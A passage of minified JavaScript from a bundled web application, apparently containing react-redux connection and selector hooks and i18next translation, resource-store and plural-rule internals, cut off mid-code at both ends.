N(e,t){if(I(e,t))return!0;if("object"!=typeof e||null===e||"object"!=typeof t||null===t)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(var o=0;o<n.length;o++)if(!Object.prototype.hasOwnProperty.call(t,n[o])||!I(e[n[o]],t[n[o]]))return!1;return!0}function D(e){return function(t,n){var r=e(t,n);function o(){return r}return o.dependsOnOwnProps=!1,o}}function F(e){return null!==e.dependsOnOwnProps&&void 0!==e.dependsOnOwnProps?Boolean(e.dependsOnOwnProps):1!==e.length}function B(e,t){return function(t,n){n.displayName;var r=function(e,t){return r.dependsOnOwnProps?r.mapToProps(e,t):r.mapToProps(e)};return r.dependsOnOwnProps=!0,r.mapToProps=function(t,n){r.mapToProps=e,r.dependsOnOwnProps=F(e);var o=r(t,n);return"function"==typeof o&&(r.mapToProps=o,r.dependsOnOwnProps=F(o),o=r(t,n)),o},r}}var H=[function(e){return"function"==typeof e?B(e):void 0},function(e){return e?void 0:D((function(e){return{dispatch:e}}))},function(e){return e&&"object"==typeof e?D((function(t){return function(e,t){var n={},r=function(r){var o=e[r];"function"==typeof o&&(n[r]=function(){return t(o.apply(void 0,arguments))})};for(var o in e)r(o);return n}(e,t)})):void 0}];var V=[function(e){return"function"==typeof e?B(e):void 0},function(e){return e?void 0:D((function(){return{}}))}];function z(e,t,n){return b({},n,e,t)}var U=[function(e){return"function"==typeof e?function(e){return function(t,n){n.displayName;var r,o=n.pure,i=n.areMergedPropsEqual,a=!1;return function(t,n,l){var s=e(t,n,l);return a?o&&i(s,r)||(r=s):(a=!0,r=s),r}}}(e):void 0},function(e){return e?void 0:function(){return z}}];var G=["initMapStateToProps","initMapDispatchToProps","initMergeProps"];function W(e,t,n,r){return function(o,i){return n(e(o,i),t(r,i),i)}}function q(e,t,n,r,o){var i,a,l,s,u,c=o.areStatesEqual,f=o.areOwnPropsEqual,d=o.areStatePropsEqual,p=!1;function h(o,p){var h,m,g=!f(p,a),v=!c(o,i);return i=o,a=p,g&&v?(l=e(i,a),t.dependsOnOwnProps&&(s=t(r,a)),u=n(l,s,a)):g?(e.dependsOnOwnProps&&(l=e(i,a)),t.dependsOnOwnProps&&(s=t(r,a)),u=n(l,s,a)):v?(h=e(i,a),m=!d(h,l),l=h,m&&(u=n(l,s,a)),u):u}return function(o,c){return p?h(o,c):(l=e(i=o,a=c),s=t(r,a),u=n(l,s,a),p=!0,u)}}function Z(e,t){var n=t.initMapStateToProps,r=t.initMapDispatchToProps,o=t.initMergeProps,i=w(t,G),a=n(e,i),l=r(e,i),s=o(e,i);return(i.pure?q:W)(a,l,s,e,i)}var Y=["pure","areStatesEqual","areOwnPropsEqual","areStatePropsEqual","areMergedPropsEqual"];function $(e,t,n){for(var r=t.length-1;r>=0;r--){var o=t[r](e);if(o)return o}return function(t,r){throw new Error("Invalid value of type "+typeof e+" for "+n+" argument when connecting component "+r.wrappedComponentName+".")}}function K(e,t){return e===t}function X(e){var t=void 0===e?{}:e,n=t.connectHOC,r=void 0===n?L:n,o=t.mapStateToPropsFactories,i=void 0===o?V:o,a=t.mapDispatchToPropsFactories,l=void 0===a?H:a,s=t.mergePropsFactories,u=void 0===s?U:s,c=t.selectorFactory,f=void 0===c?Z:c;return function(e,t,n,o){void 0===o&&(o={});var a=o,s=a.pure,c=void 0===s||s,d=a.areStatesEqual,p=void 0===d?K:d,h=a.areOwnPropsEqual,m=void 0===h?N:h,g=a.areStatePropsEqual,v=void 0===g?N:g,y=a.areMergedPropsEqual,E=void 0===y?N:y,S=w(a,Y),C=$(e,i,"mapStateToProps"),x=$(t,l,"mapDispatchToProps"),O=$(n,u,"mergeProps");return r(f,b({methodName:"connect",getDisplayName:function(e){return"Connect("+e+")"},shouldHandleStateChanges:Boolean(e),initMapStateToProps:C,initMapDispatchToProps:x,initMergeProps:O,pure:c,areStatesEqual:p,areOwnPropsEqual:m,areStatePropsEqual:v,areMergedPropsEqual:E},S))}}var Q=X();function J(){return Object(l.useContext)(d)}function ee(e){void 0===e&&(e=d);var t=e===d?J:function(){return Object(l.useContext)(e)};return function(){return t().store}}var te=ee();function ne(e){void 0===e&&(e=d);var t=e===d?te:ee(e);return function(){return t().dispatch}}var re=ne(),oe=function(e,t){return e===t};function ie(e){void 0===e&&(e=d);var t=e===d?J:function(){return Object(l.useContext)(e)};return function(e,n){void 0===n&&(n=oe);var r=t(),o=function(e,t,n,r){var o,i=Object(l.useReducer)((function(e){return e+1}),0)[1],a=Object(l.useMemo)((function(){return g(n,r)}),[n,r]),s=Object(l.useRef)(),u=Object(l.useRef)(),c=Object(l.useRef)(),f=Object(l.useRef)(),d=n.getState();try{if(e!==u.current||d!==c.current||s.current){var p=e(d);o=void 0!==f.current&&t(p,f.current)?f.current:p}else o=f.current}catch(e){throw s.current&&(e.message+="\nThe error may be correlated with this previous error:\n"+s.current.stack+"\n\n"),e}return v((function(){u.current=e,c.current=d,f.current=o,s.current=void 0})),v((function(){function e(){try{var e=n.getState();if(e===c.current)return;var r=u.current(e);if(t(r,f.current))return;f.current=r,c.current=e}catch(e){s.current=e}i()}return a.onStateChange=e,a.trySubscribe(),e(),function(){return a.tryUnsubscribe()}}),[n,a]),o}(e,n,r.store,r.subscription);return Object(l.useDebugValue)(o),o}}var ae,le=ie();ae=u.unstable_batchedUpdates,p=ae;var se=n(12),ue=n.n(se),ce=n(13),fe=n.n(ce),de=n(3),pe=n.n(de);var he,me={bindI18n:"languageChanged",bindI18nStore:"",transEmptyNodeValue:"",transSupportBasicHtmlNodes:!0,transWrapTextNodes:"",transKeepBasicHtmlNodesFor:["br","strong","i","p"],useSuspense:!0},ge=s.a.createContext();function ve(){return me}var ye=function(){function e(){ue()(this,e),this.usedNamespaces={}}return fe()(e,[{key:"addUsedNamespaces",value:function(e){var t=this;e.forEach((function(e){t.usedNamespaces[e]||(t.usedNamespaces[e]=!0)}))}},{key:"getUsedNamespaces",value:function(){return Object.keys(this.usedNamespaces)}}]),e}();function be(){return he}function we(e){var t=e.i18n,n=e.defaultNS,r=e.children,o=Object(l.useMemo)((function(){return{i18n:t,defaultNS:n}}),[t,n]);return Object(l.createElement)(ge.Provider,{value:o},r)}function Ee(e){return(Ee="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}var Se=n(29);function Ce(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?Object(arguments[t]):{},r=Object.keys(n);"function"==typeof Object.getOwnPropertySymbols&&r.push.apply(r,Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable}))),r.forEach((function(t){Object(Se.a)(e,t,n[t])}))}return e}function xe(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Oe(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Ae(e,t,n){return t&&Oe(e.prototype,t),n&&Oe(e,n),Object.defineProperty(e,"prototype",{writable:!1}),e}function _e(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Te(e,t){if(t&&("object"===Ee(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return _e(e)}function ke(e){return(ke=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Pe(e,t){return(Pe=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Me(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&Pe(e,t)}var Re={type:"logger",log:function(e){this.output("log",e)},warn:function(e){this.output("warn",e)},error:function(e){this.output("error",e)},output:function(e,t){console&&console[e]&&console[e].apply(console,t)}},je=new(function(){function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};xe(this,e),this.init(t,n)}return Ae(e,[{key:"init",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this.prefix=t.prefix||"i18next:",this.logger=e||Re,this.options=t,this.debug=t.debug}},{key:"setDebug",value:function(e){this.debug=e}},{key:"log",value:function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return this.forward(t,"log","",!0)}},{key:"warn",value:function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return this.forward(t,"warn","",!0)}},{key:"error",value:function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return this.forward(t,"error","")}},{key:"deprecate",value:function(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return this.forward(t,"warn","WARNING DEPRECATED: ",!0)}},{key:"forward",value:function(e,t,n,r){return r&&!this.debug?null:("string"==typeof e[0]&&(e[0]="".concat(n).concat(this.prefix," ").concat(e[0])),this.logger[t](e))}},{key:"create",value:function(t){return new e(this.logger,Ce({},{prefix:"".concat(this.prefix,":").concat(t,":")},this.options))}}]),e}()),Le=function(){function e(){xe(this,e),this.observers={}}return Ae(e,[{key:"on",value:function(e,t){var n=this;return e.split(" ").forEach((function(e){n.observers[e]=n.observers[e]||[],n.observers[e].push(t)})),this}},{key:"off",value:function(e,t){this.observers[e]&&(t?this.observers[e]=this.observers[e].filter((function(e){return e!==t})):delete this.observers[e])}},{key:"emit",value:function(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];if(this.observers[e]){var o=[].concat(this.observers[e]);o.forEach((function(e){e.apply(void 0,n)}))}if(this.observers["*"]){var i=[].concat(this.observers["*"]);i.forEach((function(t){t.apply(t,[e].concat(n))}))}}}]),e}();function Ie(){var e,t,n=new Promise((function(n,r){e=n,t=r}));return n.resolve=e,n.reject=t,n}function Ne(e){return null==e?"":""+e}function De(e,t,n){e.forEach((function(e){t[e]&&(n[e]=t[e])}))}function Fe(e,t,n){function r(e){return e&&e.indexOf("###")>-1?e.replace(/###/g,"."):e}function o(){return!e||"string"==typeof e}for(var i="string"!=typeof t?[].concat(t):t.split(".");i.length>1;){if(o())return{};var a=r(i.shift());!e[a]&&n&&(e[a]=new n),e=Object.prototype.hasOwnProperty.call(e,a)?e[a]:{}}return o()?{}:{obj:e,k:r(i.shift())}}function Be(e,t,n){var r=Fe(e,t,Object);r.obj[r.k]=n}function He(e,t){var n=Fe(e,t),r=n.obj,o=n.k;if(r)return r[o]}function Ve(e,t,n){var r=He(e,n);return void 0!==r?r:He(t,n)}function ze(e,t,n){for(var r in t)"__proto__"!==r&&"constructor"!==r&&(r in e?"string"==typeof e[r]||e[r]instanceof String||"string"==typeof t[r]||t[r]instanceof String?n&&(e[r]=t[r]):ze(e[r],t[r],n):e[r]=t[r]);return e}function Ue(e){return e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")}var Ge={"&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};function We(e){return"string"==typeof e?e.replace(/[&<>"'\/]/g,(function(e){return Ge[e]})):e}var qe="undefined"!=typeof window&&window.navigator&&window.navigator.userAgent&&window.navigator.userAgent.indexOf("MSIE")>-1,Ze=function(e){function t(e){var n,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{ns:["translation"],defaultNS:"translation"};return xe(this,t),n=Te(this,ke(t).call(this)),qe&&Le.call(_e(n)),n.data=e||{},n.options=r,void 0===n.options.keySeparator&&(n.options.keySeparator="."),n}return Me(t,e),Ae(t,[{key:"addNamespaces",value:function(e){this.options.ns.indexOf(e)<0&&this.options.ns.push(e)}},{key:"removeNamespaces",value:function(e){var t=this.options.ns.indexOf(e);t>-1&&this.options.ns.splice(t,1)}},{key:"getResource",value:function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},o=void 0!==r.keySeparator?r.keySeparator:this.options.keySeparator,i=[e,t];return n&&"string"!=typeof n&&(i=i.concat(n)),n&&"string"==typeof n&&(i=i.concat(o?n.split(o):n)),e.indexOf(".")>-1&&(i=e.split(".")),He(this.data,i)}},{key:"addResource",value:function(e,t,n,r){var o=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{silent:!1},i=this.options.keySeparator;void 0===i&&(i=".");var a=[e,t];n&&(a=a.concat(i?n.split(i):n)),e.indexOf(".")>-1&&(r=t,t=(a=e.split("."))[1]),this.addNamespaces(t),Be(this.data,a,r),o.silent||this.emit("added",e,t,n,r)}},{key:"addResources",value:function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{silent:!1};for(var o in n)"string"!=typeof n[o]&&"[object Array]"!==Object.prototype.toString.apply(n[o])||this.addResource(e,t,o,n[o],{silent:!0});r.silent||this.emit("added",e,t,n)}},{key:"addResourceBundle",value:function(e,t,n,r,o){var i=arguments.length>5&&void 0!==arguments[5]?arguments[5]:{silent:!1},a=[e,t];e.indexOf(".")>-1&&(r=n,n=t,t=(a=e.split("."))[1]),this.addNamespaces(t);var l=He(this.data,a)||{};r?ze(l,n,o):l=Ce({},l,n),Be(this.data,a,l),i.silent||this.emit("added",e,t,n)}},{key:"removeResourceBundle",value:function(e,t){this.hasResourceBundle(e,t)&&delete this.data[e][t],this.removeNamespaces(t),this.emit("removed",e,t)}},{key:"hasResourceBundle",value:function(e,t){return void 0!==this.getResource(e,t)}},{key:"getResourceBundle",value:function(e,t){return t||(t=this.options.defaultNS),"v1"===this.options.compatibilityAPI?Ce({},{},this.getResource(e,t)):this.getResource(e,t)}},{key:"getDataByLanguage",value:function(e){return this.data[e]}},{key:"toJSON",value:function(){return this.data}}]),t}(Le),Ye={processors:{},addPostProcessor:function(e){this.processors[e.name]=e},handle:function(e,t,n,r,o){var i=this;return e.forEach((function(e){i.processors[e]&&(t=i.processors[e].process(t,n,r,o))})),t}},$e={},Ke=function(e){function t(e){var n,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return xe(this,t),n=Te(this,ke(t).call(this)),qe&&Le.call(_e(n)),De(["resourceStore","languageUtils","pluralResolver","interpolator","backendConnector","i18nFormat","utils"],e,_e(n)),n.options=r,void 0===n.options.keySeparator&&(n.options.keySeparator="."),n.logger=je.create("translator"),n}return Me(t,e),Ae(t,[{key:"changeLanguage",value:function(e){e&&(this.language=e)}},{key:"exists",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{interpolation:{}},n=this.resolve(e,t);return n&&void 0!==n.res}},{key:"extractFromKey",value:function(e,t){var n=void 0!==t.nsSeparator?t.nsSeparator:this.options.nsSeparator;void 0===n&&(n=":");var r=void 0!==t.keySeparator?t.keySeparator:this.options.keySeparator,o=t.ns||this.options.defaultNS;if(n&&e.indexOf(n)>-1){var i=e.match(this.interpolator.nestingRegexp);if(i&&i.length>0)return{key:e,namespaces:o};var a=e.split(n);(n!==r||n===r&&this.options.ns.indexOf(a[0])>-1)&&(o=a.shift()),e=a.join(r)}return"string"==typeof o&&(o=[o]),{key:e,namespaces:o}}},{key:"translate",value:function(e,n,r){var o=this;if("object"!==Ee(n)&&this.options.overloadTranslationOptionHandler&&(n=this.options.overloadTranslationOptionHandler(arguments)),n||(n={}),null==e)return"";Array.isArray(e)||(e=[String(e)]);var i=void 0!==n.keySeparator?n.keySeparator:this.options.keySeparator,a=this.extractFromKey(e[e.length-1],n),l=a.key,s=a.namespaces,u=s[s.length-1],c=n.lng||this.language,f=n.appendNamespaceToCIMode||this.options.appendNamespaceToCIMode;if(c&&"cimode"===c.toLowerCase()){if(f){var d=n.nsSeparator||this.options.nsSeparator;return u+d+l}return l}var p=this.resolve(e,n),h=p&&p.res,m=p&&p.usedKey||l,g=p&&p.exactUsedKey||l,v=Object.prototype.toString.apply(h),y=["[object Number]","[object Function]","[object RegExp]"],b=void 0!==n.joinArrays?n.joinArrays:this.options.joinArrays,w=!this.i18nFormat||this.i18nFormat.handleAsObject,E="string"!=typeof h&&"boolean"!=typeof h&&"number"!=typeof h;if(w&&h&&E&&y.indexOf(v)<0&&("string"!=typeof b||"[object Array]"!==v)){if(!n.returnObjects&&!this.options.returnObjects)return this.logger.warn("accessing an object - but returnObjects options is not enabled!"),this.options.returnedObjectHandler?this.options.returnedObjectHandler(m,h,n):"key '".concat(l," (").concat(this.language,")' returned an object instead of string.");if(i){var S="[object Array]"===v,C=S?[]:{},x=S?g:m;for(var O in h)if(Object.prototype.hasOwnProperty.call(h,O)){var A="".concat(x).concat(i).concat(O);C[O]=this.translate(A,Ce({},n,{joinArrays:!1,ns:s})),C[O]===A&&(C[O]=h[O])}h=C}}else if(w&&"string"==typeof b&&"[object Array]"===v)(h=h.join(b))&&(h=this.extendTranslation(h,e,n,r));else{var _=!1,T=!1,k=void 0!==n.count&&"string"!=typeof n.count,P=t.hasDefaultValue(n),M=k?this.pluralResolver.getSuffix(c,n.count):"",R=n["defaultValue".concat(M)]||n.defaultValue;!this.isValidLookup(h)&&P&&(_=!0,h=R),this.isValidLookup(h)||(T=!0,h=l);var j=P&&R!==h&&this.options.updateMissing;if(T||_||j){if(this.logger.log(j?"updateKey":"missingKey",c,u,l,j?R:h),i){var L=this.resolve(l,Ce({},n,{keySeparator:!1}));L&&L.res&&this.logger.warn("Seems the loaded translations were in flat JSON format instead of nested. Either set keySeparator: false on init or make sure your translations are published in nested format.")}var I=[],N=this.languageUtils.getFallbackCodes(this.options.fallbackLng,n.lng||this.language);if("fallback"===this.options.saveMissingTo&&N&&N[0])for(var D=0;D<N.length;D++)I.push(N[D]);else"all"===this.options.saveMissingTo?I=this.languageUtils.toResolveHierarchy(n.lng||this.language):I.push(n.lng||this.language);var F=function(e,t,r){o.options.missingKeyHandler?o.options.missingKeyHandler(e,u,t,j?r:h,j,n):o.backendConnector&&o.backendConnector.saveMissing&&o.backendConnector.saveMissing(e,u,t,j?r:h,j,n),o.emit("missingKey",e,u,t,h)};this.options.saveMissing&&(this.options.saveMissingPlurals&&k?I.forEach((function(e){o.pluralResolver.getSuffixes(e).forEach((function(t){F([e],l+t,n["defaultValue".concat(t)]||R)}))})):F(I,l,R))}h=this.extendTranslation(h,e,n,p,r),T&&h===l&&this.options.appendNamespaceToMissingKey&&(h="".concat(u,":").concat(l)),T&&this.options.parseMissingKeyHandler&&(h=this.options.parseMissingKeyHandler(h))}return h}},{key:"extendTranslation",value:function(e,t,n,r,o){var i=this;if(this.i18nFormat&&this.i18nFormat.parse)e=this.i18nFormat.parse(e,n,r.usedLng,r.usedNS,r.usedKey,{resolved:r});else if(!n.skipInterpolation){n.interpolation&&this.interpolator.init(Ce({},n,{interpolation:Ce({},this.options.interpolation,n.interpolation)}));var a,l=n.interpolation&&n.interpolation.skipOnVariables||this.options.interpolation.skipOnVariables;if(l){var s=e.match(this.interpolator.nestingRegexp);a=s&&s.length}var u=n.replace&&"string"!=typeof n.replace?n.replace:n;if(this.options.interpolation.defaultVariables&&(u=Ce({},this.options.interpolation.defaultVariables,u)),e=this.interpolator.interpolate(e,u,n.lng||this.language,n),l){var c=e.match(this.interpolator.nestingRegexp);a<(c&&c.length)&&(n.nest=!1)}!1!==n.nest&&(e=this.interpolator.nest(e,(function(){for(var e=arguments.length,r=new Array(e),a=0;a<e;a++)r[a]=arguments[a];return o&&o[0]===r[0]&&!n.context?(i.logger.warn("It seems you are nesting recursively key: ".concat(r[0]," in key: ").concat(t[0])),null):i.translate.apply(i,r.concat([t]))}),n)),n.interpolation&&this.interpolator.reset()}var f=n.postProcess||this.options.postProcess,d="string"==typeof f?[f]:f;return null!=e&&d&&d.length&&!1!==n.applyPostProcessor&&(e=Ye.handle(d,e,t,this.options&&this.options.postProcessPassResolved?Ce({i18nResolved:r},n):n,this)),e}},{key:"resolve",value:function(e){var t,n,r,o,i,a=this,l=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return"string"==typeof e&&(e=[e]),e.forEach((function(e){if(!a.isValidLookup(t)){var s=a.extractFromKey(e,l),u=s.key;n=u;var c=s.namespaces;a.options.fallbackNS&&(c=c.concat(a.options.fallbackNS));var f=void 0!==l.count&&"string"!=typeof l.count,d=void 0!==l.context&&"string"==typeof l.context&&""!==l.context,p=l.lngs?l.lngs:a.languageUtils.toResolveHierarchy(l.lng||a.language,l.fallbackLng);c.forEach((function(e){a.isValidLookup(t)||(i=e,!$e["".concat(p[0],"-").concat(e)]&&a.utils&&a.utils.hasLoadedNamespace&&!a.utils.hasLoadedNamespace(i)&&($e["".concat(p[0],"-").concat(e)]=!0,a.logger.warn('key "'.concat(n,'" for languages "').concat(p.join(", "),'" won\'t get resolved as namespace "').concat(i,'" was not yet loaded'),"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.changeLanguage was done. Wait for the callback or Promise to resolve before accessing it!!!")),p.forEach((function(n){if(!a.isValidLookup(t)){o=n;var i,s,c=u,p=[c];if(a.i18nFormat&&a.i18nFormat.addLookupKeys)a.i18nFormat.addLookupKeys(p,u,n,e,l);else f&&(i=a.pluralResolver.getSuffix(n,l.count)),f&&d&&p.push(c+i),d&&p.push(c+="".concat(a.options.contextSeparator).concat(l.context)),f&&p.push(c+=i);for(;s=p.pop();)a.isValidLookup(t)||(r=s,t=a.getResource(n,e,s,l))}})))}))}})),{res:t,usedKey:n,exactUsedKey:r,usedLng:o,usedNS:i}}},{key:"isValidLookup",value:function(e){return!(void 0===e||!this.options.returnNull&&null===e||!this.options.returnEmptyString&&""===e)}},{key:"getResource",value:function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};return this.i18nFormat&&this.i18nFormat.getResource?this.i18nFormat.getResource(e,t,n,r):this.resourceStore.getResource(e,t,n,r)}}],[{key:"hasDefaultValue",value:function(e){for(var t in e)if(Object.prototype.hasOwnProperty.call(e,t)&&"defaultValue"===t.substring(0,"defaultValue".length)&&void 0!==e[t])return!0;return!1}}]),t}(Le);function Xe(e){return e.charAt(0).toUpperCase()+e.slice(1)}var Qe=function(){function e(t){xe(this,e),this.options=t,this.whitelist=this.options.supportedLngs||!1,this.supportedLngs=this.options.supportedLngs||!1,this.logger=je.create("languageUtils")}return Ae(e,[{key:"getScriptPartFromCode",value:function(e){if(!e||e.indexOf("-")<0)return null;var t=e.split("-");return 2===t.length?null:(t.pop(),"x"===t[t.length-1].toLowerCase()?null:this.formatLanguageCode(t.join("-")))}},{key:"getLanguagePartFromCode",value:function(e){if(!e||e.indexOf("-")<0)return e;var t=e.split("-");return this.formatLanguageCode(t[0])}},{key:"formatLanguageCode",value:function(e){if("string"==typeof e&&e.indexOf("-")>-1){var t=["hans","hant","latn","cyrl","cans","mong","arab"],n=e.split("-");return this.options.lowerCaseLng?n=n.map((function(e){return e.toLowerCase()})):2===n.length?(n[0]=n[0].toLowerCase(),n[1]=n[1].toUpperCase(),t.indexOf(n[1].toLowerCase())>-1&&(n[1]=Xe(n[1].toLowerCase()))):3===n.length&&(n[0]=n[0].toLowerCase(),2===n[1].length&&(n[1]=n[1].toUpperCase()),"sgn"!==n[0]&&2===n[2].length&&(n[2]=n[2].toUpperCase()),t.indexOf(n[1].toLowerCase())>-1&&(n[1]=Xe(n[1].toLowerCase())),t.indexOf(n[2].toLowerCase())>-1&&(n[2]=Xe(n[2].toLowerCase()))),n.join("-")}return this.options.cleanCode||this.options.lowerCaseLng?e.toLowerCase():e}},{key:"isWhitelisted",value:function(e){return this.logger.deprecate("languageUtils.isWhitelisted",'function "isWhitelisted" will be renamed to "isSupportedCode" in the next major - please make sure to rename it\'s usage asap.'),this.isSupportedCode(e)}},{key:"isSupportedCode",value:function(e){return("languageOnly"===this.options.load||this.options.nonExplicitSupportedLngs)&&(e=this.getLanguagePartFromCode(e)),!this.supportedLngs||!this.supportedLngs.length||this.supportedLngs.indexOf(e)>-1}},{key:"getBestMatchFromCodes",value:function(e){var t,n=this;return e?(e.forEach((function(e){if(!t){var r=n.formatLanguageCode(e);n.options.supportedLngs&&!n.isSupportedCode(r)||(t=r)}})),!t&&this.options.supportedLngs&&e.forEach((function(e){if(!t){var r=n.getLanguagePartFromCode(e);if(n.isSupportedCode(r))return t=r;t=n.options.supportedLngs.find((function(e){if(0===e.indexOf(r))return e}))}})),t||(t=this.getFallbackCodes(this.options.fallbackLng)[0]),t):null}},{key:"getFallbackCodes",value:function(e,t){if(!e)return[];if("function"==typeof e&&(e=e(t)),"string"==typeof e&&(e=[e]),"[object Array]"===Object.prototype.toString.apply(e))return e;if(!t)return e.default||[];var n=e[t];return n||(n=e[this.getScriptPartFromCode(t)]),n||(n=e[this.formatLanguageCode(t)]),n||(n=e[this.getLanguagePartFromCode(t)]),n||(n=e.default),n||[]}},{key:"toResolveHierarchy",value:function(e,t){var n=this,r=this.getFallbackCodes(t||this.options.fallbackLng||[],e),o=[],i=function(e){e&&(n.isSupportedCode(e)?o.push(e):n.logger.warn("rejecting language code not found in supportedLngs: ".concat(e)))};return"string"==typeof e&&e.indexOf("-")>-1?("languageOnly"!==this.options.load&&i(this.formatLanguageCode(e)),"languageOnly"!==this.options.load&&"currentOnly"!==this.options.load&&i(this.getScriptPartFromCode(e)),"currentOnly"!==this.options.load&&i(this.getLanguagePartFromCode(e))):"string"==typeof e&&i(this.formatLanguageCode(e)),r.forEach((function(e){o.indexOf(e)<0&&i(n.formatLanguageCode(e))})),o}}]),e}(),Je=[{lngs:["ach","ak","am","arn","br","fil","gun","ln","mfe","mg","mi","oc","pt","pt-BR","tg","tl","ti","tr","uz","wa"],nr:[1,2],fc:1},{lngs:["af","an","ast","az","bg","bn","ca","da","de","dev","el","en","eo","es","et","eu","fi","fo","fur","fy","gl","gu","ha","hi","hu","hy","ia","it","kn","ku","lb","mai","ml","mn","mr","nah","nap","nb","ne","nl","nn","no","nso","pa","pap","pms","ps","pt-PT","rm","sco","se","si","so","son","sq","sv","sw","ta","te","tk","ur","yo"],nr:[1,2],fc:2},{lngs:["ay","bo","cgg","fa","ht","id","ja","jbo","ka","kk","km","ko","ky","lo","ms","sah","su","th","tt","ug","vi","wo","zh"],nr:[1],fc:3},{lngs:["be","bs","cnr","dz","hr","ru","sr","uk"],nr:[1,2,5],fc:4},{lngs:["ar"],nr:[0,1,2,3,11,100],fc:5},{lngs:["cs","sk"],nr:[1,2,5],fc:6},{lngs:["csb","pl"],nr:[1,2,5],fc:7},{lngs:["cy"],nr:[1,2,3,8],fc:8},{lngs:["fr"],nr:[1,2],fc:9},{lngs:["ga"],nr:[1,2,3,7,11],fc:10},{lngs:["gd"],nr:[1,2,3,20],fc:11},{lngs:["is"],nr:[1,2],fc:12},{lngs:["jv"],nr:[0,1],fc:13},{lngs:["kw"],nr:[1,2,3,4],fc:14},{lngs:["lt"],nr:[1,2,10],fc:15},{lngs:["lv"],nr:[1,2,0],fc:16},{lngs:["mk"],nr:[1,2],fc:17},{lngs:["mnk"],nr:[0,1,2],fc:18},{lngs:["mt"],nr:[1,2,11,20],fc:19},{lngs:["or"],nr:[2,1],fc:2},{lngs:["ro"],nr:[1,2,20],fc:20},{lngs:["sl"],nr:[5,1,2,3],fc:21},{lngs:["he","iw"],nr:[1,2,20,21],fc:22}],et={1:function(e){return Number(e>1)},2:function(e){return Number(1!=e)},3:function(e){return 0},4:function(e){return Number(e%10==1&&e%100!=11?0:e%10>=2&&e%10<=4&&(e%100<10||e%100>=20)?1:2)},5:function(e){return Number(0==e?0:1==e?1:2==e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5)},6:function(e){return Number(1==e?0:e>=2&&e<=4?1:2)},7:function(e){return Number(1==e?0:e%10>=2&&e%10<=4&&(e%100<10||e%100>=20)?1:2)},8:function(e){return Number(1==e?0:2==e?1:8!=e&&11!=e?2:3)},9:function(e){return Number(e>=2)},10:function(e){return Number(1==e?0:2==e?1:e<7?2:e<11?3:4)},11:function(e){return Number(1==e||11==e?0:2==e||12==e?1:e>2&&e<20?2:3)},12:function(e){return Number(e%10!=1||e%100==11)},13:function(e){return Number(0!==e)},14:function(e){return Number(1==e?0:2==e?1:3==e?2:3)},15:function(e){return Number(e%10==1&&e%100!=11?0:e%10>=2&&(e%100<10||e%100>=20)?1:2)},16:function(e){return Number(e%10==1&&e%100!=11?0:0!==e?1:2)},17:function(e){return Number(1==e||e%10==1&&e%100!=11?0:1)},18:function(e){return Number(0==e?0:1==e?1:2)},19:function(e){return Number(1==e?0:0==e||e%100>1&&e%100<11?1:e%100>10&&e%100<20?2:3)},20:function(e){return Number(1==e?0:0==e||e%100>0&&e%100<20?1:2)},21:function(e){return Number(e%100==1?1:e%100==2?2:e%100==3||e%100==4?3:0)},22:function(e){return Number(1==e?0:2==e?1:(e<0||e>10)&&e%10==0?2:3)}};function tt(){var e={};return Je.forEach((function(t){t.lngs.forEach((function(n){e[n]={numbers:t.nr,plurals:et[t.fc]}}))})),e}var nt=function(){function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};xe(this,e),this.languageUtils=t,this.options=n,this.logger=je.create("pluralResolver"),this.rules=tt()}return Ae(e,[{key:"addRule",value:function(e,t){this.rules[e]=t}},{key:"getRule",value:function(e){return this.rules[e]||this.rules[this.languageUtils.getLanguagePartFromCode(e)]}},{key:"needsPlural",value:function(e){var t=this.getRule(e);return t&&t.numbers.length>1}},{key:"getPluralFormsOfKey",value:function(e,t){return this.getSuffixes(e).map((function(e){return t+e}))}},{key:"getSuffixes",value:function(e){var t=this,n=this.getRule(e);return n?n.numbers.map((function(n){return t.getSuffix(e,n)})):[]}},{key:"getSuffix",value:function(e,t){var 